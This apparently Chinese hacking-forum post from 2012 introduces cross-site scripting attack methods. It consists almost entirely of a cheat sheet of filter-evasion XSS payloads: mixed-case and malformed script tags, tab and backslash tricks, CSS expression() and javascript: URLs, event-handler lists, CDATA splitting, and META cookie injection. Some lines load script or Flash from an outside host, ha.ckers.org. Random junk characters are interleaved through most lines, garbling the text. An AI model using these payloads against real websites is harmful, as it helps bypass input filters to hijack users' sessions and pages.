找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2420|回复: 0
打印 上一主题 下一主题

Cross Site Scripting(XSS)攻击手法介绍

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-31 09:59:28 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1. 改变字符大小写. i& d9 X' A/ M5 y# o

3 y! Y# @3 g/ x- |/ V" U5 r8 s
2 I% P( f) g3 ~! X2 C
( F( }7 H  K8 Z7 f    <sCript>alert(‘d’)</scRipT>
. b2 c0 g* T6 R0 Z. k7 _0 i
5 l6 Z( v6 [) T- d) ?2. 利用多加一些其它字符来规避Regular Expression的检查: J2 c* G  V( @+ \( q+ n/ Y* s" g
! S& R/ p" ?' ]3 e5 i
    <<script>alert(‘c’)//<</script>5 `" `9 ]$ T6 l: g! Q" O  _

+ E6 e& j9 `8 \+ h8 o. E% F    <SCRIPT a=">" SRC="t.js"></SCRIPT>
( O9 \4 h* p( O% i5 K$ x
. w: k6 J$ Z) `% l6 x9 H    <SCRIPT =">" SRC="t.js"></SCRIPT>+ M0 ?; n( v2 r6 i$ @

; p. E! b/ J, ]( z    <SCRIPT a=">" ” SRC="t.js"></SCRIPT>- V  C$ G$ B- @$ Z2 X  A
  K" j, g) C9 W7 I( Z
    <SCRIPT "a=’>’" SRC="t.js"></SCRIPT>
1 M; I# [, j$ d0 o
# G. D4 u: T3 ]" m( w% T    <SCRIPT a=`>` SRC="t.js"></SCRIPT>
5 Y# Q/ O6 I4 E
  L- i! m" G8 Q* s    <SCRIPT a=">’>" SRC="t.js"></SCRIPT>
9 t; t& v% M8 x! ~+ D* @) z
9 @6 C& E5 v! }7 b3. 以其它扩展名取代.js/ e8 h, J* w# `/ J: K/ `
- f+ e- D2 Y" H5 [4 D0 `' Q& d
    <script src="bad.jpg"></script>* t' ]! V( ]* F9 D

* Y7 j8 c: z) T6 C$ Z# v! H5 w. e% n4. 将Javascript写在CSS档里
3 W4 j) d8 }& s5 Z' A" z# Z; @. w2 y0 f- F# Q1 j
    <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">
( e0 U3 ?/ r' z+ B) h* e0 J5 e: C  J" e  W& y9 u1 Z8 g  i
       example:
: N$ d) u4 R0 H. I0 S5 _
% \' V& P; j% E- ]          body {
$ s) z) {$ t7 i; K" b
8 }" i' ?9 U" T. A0 i3 F6 ~               background-image: url(‘javascript:alert("XSS");’)
* z% D& E2 [5 D# I3 z/ F2 O5 c# S+ S, a6 G  i
          }$ T* P' E6 R5 l
( r+ c8 i' J; {$ l! B
5. 在script的tag里加入一些其它字符
5 A/ r  e, }6 }; ?
* @) {4 ?( _. E, {- v- F    <SCRIPT/SRC="t.js"></SCRIPT>
( j5 a3 W2 d) |) Q% h) l, x% ^! d/ O8 V0 p/ K
    <SCRIPT/anyword SRC="t.js"></SCRIPT>+ I& C; ?" R% G: _9 Y- I4 Z1 H0 r

. z/ i; h" @! x) N; u6. 使用tab或是new line来规避
, D# m/ e& z  f( ~; S  y
. k+ E) g2 M* W! B  B+ {7 w    <img src="jav ascr ipt:alert(‘XSS3′)">
& b* b6 |2 B) M
5 H" o8 d1 ~5 l; |    <img src="jav ascr ipt:alert(‘XSS3′)">
7 P1 k/ n! |2 d6 t
: X) ^5 r' [; H+ ^- {# T' J& _. q    <IMG SRC="jav ascript:alert(‘XSS’);">
, ~- O0 K! A5 \- w4 b
' A( T* o1 t: h7 n" B' k         -> tag3 p& M; K; [, K+ o& I; I. i+ ~
9 J6 H4 N5 b6 h, W1 n
         -> new line
2 \/ V# U" ^9 X9 q3 @/ n% q! y, H6 a, K7 }
7. 使用"\"来规避+ y. }6 V: I. R8 `, Z0 m2 e

' S1 y  F3 ~0 p    <STYLE>@im\port’\ja\vasc\ript:alert("XSS32")’;</STYLE>
! \. p1 c! C' p5 }; F* i6 \, c8 e
7 r+ x! `" z- P' k6 a1 \* U8 A    <IMG STYLE=’xss:expre\ssion(alert("XSS33"))’>0 E# J7 e/ K' ~# [

3 }% v0 d  a: \7 o6 ?& W2 {! v    <IMG STYLE="xss:expr/*anyword*/ession(alert(‘sss’))">
3 E' c% p: N: `6 U5 o: p, [6 Z' x" X" c/ [+ \
    <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
5 f( q" }* f" G' E+ T* D( c4 {
* m9 _" \% h; o$ S6 L1 W' {& B    <A STYLE=’no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))’>* B" I: Y, L* M4 o% d7 S+ s& U
  \5 r& i8 N# u0 K3 L1 q* r5 `
8. 使用Hex encode来规避(也可能会把";"拿掉)
: a( ]! W% o" X* z
/ W" T8 M5 `. ]. r    <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">0 D4 `, J8 t8 o1 v$ w! @

" S! W# r& S" f' O$ w        原始码:<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
* n+ ]0 ~& S1 E$ I- L0 h/ Q; y& H
    <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">
/ i5 i, p5 y& z0 D. l7 @. g, j) z9 C3 }& p5 [
        原始码:<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">
, z' Z3 m* `, g, e9 x' c( X( ]% g$ @9 B/ i, W
9. script in HTML tag
' q. E+ a0 J8 Y5 b2 ^5 U0 `
8 ~) R2 ~- v4 Y9 T0 h8 H    <body onload=」alert(‘onload’)」>' ~0 e! ]  I! H! J

1 A( P/ D- v" v7 ~: C4 _% q        onabort, onactivate, onafterprint, onafterupdate, onbeforeactivate, onbeforecopy, onbeforecut, onbeforedeactivate, onbeforeeditfocus, onbeforepaste, onbeforeprint, onbeforeunload, onbeforeupdate, onblur, onbounce, oncellchange, onchange, onclick, oncontextmenu, oncontrolselect, oncopy, oncut, ondataavailable, ondatasetchanged, ondatasetcomplete, ondblclick, ondeactivate, ondrag, ondragend, ondragenter, ondragleave, ondragover, ondragstart, ondrop, onerror, onerrorupdate, onfilterchange, onfinish, onfocus, onfocusin, onfocusout, onhelp, onkeydown, onkeypress, onkeyup, onlayoutcomplete, onload, onlosecapture, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onmove, onmoveend, onmovestart, onpaste, onpropertychange, onreadystatechange, onreset, onresize, onresizeend, onresizestart, onrowenter, onrowexit, onrowsdelete, onrowsinserted, onscroll, onselect, onselectionchange, onselectstart, onstart, onstop, onsubmit, onunload
+ K" ^/ f, y/ Q# Y* V5 a7 e
5 i/ o3 M; z& L# K! P10. 在swf里含有xss的code
8 B$ s" u  }8 n$ c/ i. D
/ A! N- u" j  l1 T3 Z    <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>' _& x/ Z7 q4 c7 N5 T6 f& K! s6 ?
! p3 }% C9 T/ I) M, h: s) U% w
11. 利用CDATA将xss的code拆开,再组合起来。( n2 z" _# _) n- [6 h
- n+ d; y' N; M# A! ?$ k
    <XML ID=I><X><C>
/ g1 t7 J: A) O) c( t8 Y% u# o, \) _: k: M
    <![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>( @. F# P0 q1 B/ B& Z
# F1 V5 h: d$ M. c# N4 u+ W- V& N8 Z
    </C></X>
# r' H( X  p% i* r! K
1 d: J9 F, T+ D, }; d" i    </xml>7 A- D# S7 G; d  \9 g; H# L
2 R) _5 U6 ^0 p7 M/ H& x7 }
    <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>8 e9 u4 ^6 Y7 M5 \% \9 Q# V

2 x" ?; ]/ L8 f( p! z& j    <XML ID="xss"><I><B><IMG SRC="javas<!– –>cript:alert(‘XSS’)"></B></I></XML>
' @: V1 V" C: }1 ^
# @% x& R1 S- [. d9 k1 \    <SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>7 \) x0 T$ [- n5 {; a

# m% z5 @; v! `* i12. 利用HTML+TIME。( f$ c7 a% G* w. o! l' {4 h0 G

3 O$ X* c6 x; c    <HTML><BODY>( p" x! h/ [5 C8 G

. d# S  ~. c0 @( S  a1 k( r    <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
1 d3 ?( v' q' }1 z# k3 j
* g  f2 s! K& w' N    <?import namespace="t" implementation="#default#time2">
1 E- O8 ?: [& i+ m" o& C* k
; T. a6 M' I3 R# L" x    <t:set attributeName="innerHTML" to="anyword<SCRIPTDEFER>alert("XSS")</SCRIPT>">
, D6 u% Z5 e# }1 L0 c/ M, _  U8 V/ h5 e4 I1 }. H) U
    </BODY></HTML>
" L0 @3 [* u. {1 d# \8 ?6 k! }) |2 V3 w  f( n8 _5 S/ V  a. K
13. 透过META写入Cookie。4 [! |; _  P/ Y6 b' d( {

! t: m0 j+ T0 `) l- a    <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(‘XSS’)</SCRIPT>"># _! |0 _  I  ~+ c- D6 ~5 S

7 u" P1 g: H6 d1 J$ I  D- r14. javascript in src , href , url
8 i# G# v% w" x' [! S! i5 _4 U( m& H8 Q2 Q
    <IFRAME SRC=javascript:alert(’13′)></IFRAME>. X" e3 Z: M- G
# X7 S. c8 m+ H# X! O
    <img src="javascript:alert(‘XSS3′)">( _+ Q3 J& G0 ]6 U

4 G2 ~4 N7 y7 n# o- @; O7 ]<IMG DYNSRC="javascript:alert(‘XSS20′)">+ V' _  m. |8 n

0 K* c* }! Y& |% i  E    <IMG LOWSRC="javascript:alert(‘XSS21′)">
5 `/ r0 ^# Q  Q5 p; U( T' h0 D" q. s# y2 T
    <LINK REL="stylesheet" HREF="javascript:alert(‘XSS24′);">
5 V4 S8 g/ A# t
7 }7 h+ Q! Y7 {( x4 k    <IFRAME SRC=javascript:alert(‘XSS27′)></IFRAME>
+ \# a0 ^: F" B6 C& S* I& B. b9 ^# x# I: J; c
    <TABLE BACKGROUND="javascript:alert(‘XSS29′)">
$ L5 J6 J5 n9 Q& z$ X/ P
! n0 o0 d) b8 D    <DIV STYLE="background-image: url(javascript:alert(‘XSS30′))">2 c$ ~! X0 B" T8 ~5 k0 i
) H$ H. l. z2 Z/ X2 x
    <STYLE TYPE="text/css">.XSS{background image:url("javascript:alert(‘XSS35′)");}
# H. y2 s8 K( j5 z! v* m7 [- Z3 a; l, N# j$ ?8 l6 F: I; b
    </STYLE><A CLASS=XSS></A>
; ~. S* j6 ~$ |8 [# e, e
, i5 |# C7 i: q+ T3 b    <FRAMESET><FRAME SRC="javascript:alert(‘XSS’);"></FRAMESET>9 q2 ~7 j, F" d

& L6 b1 X2 `5 ?. m* |+ f; S
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表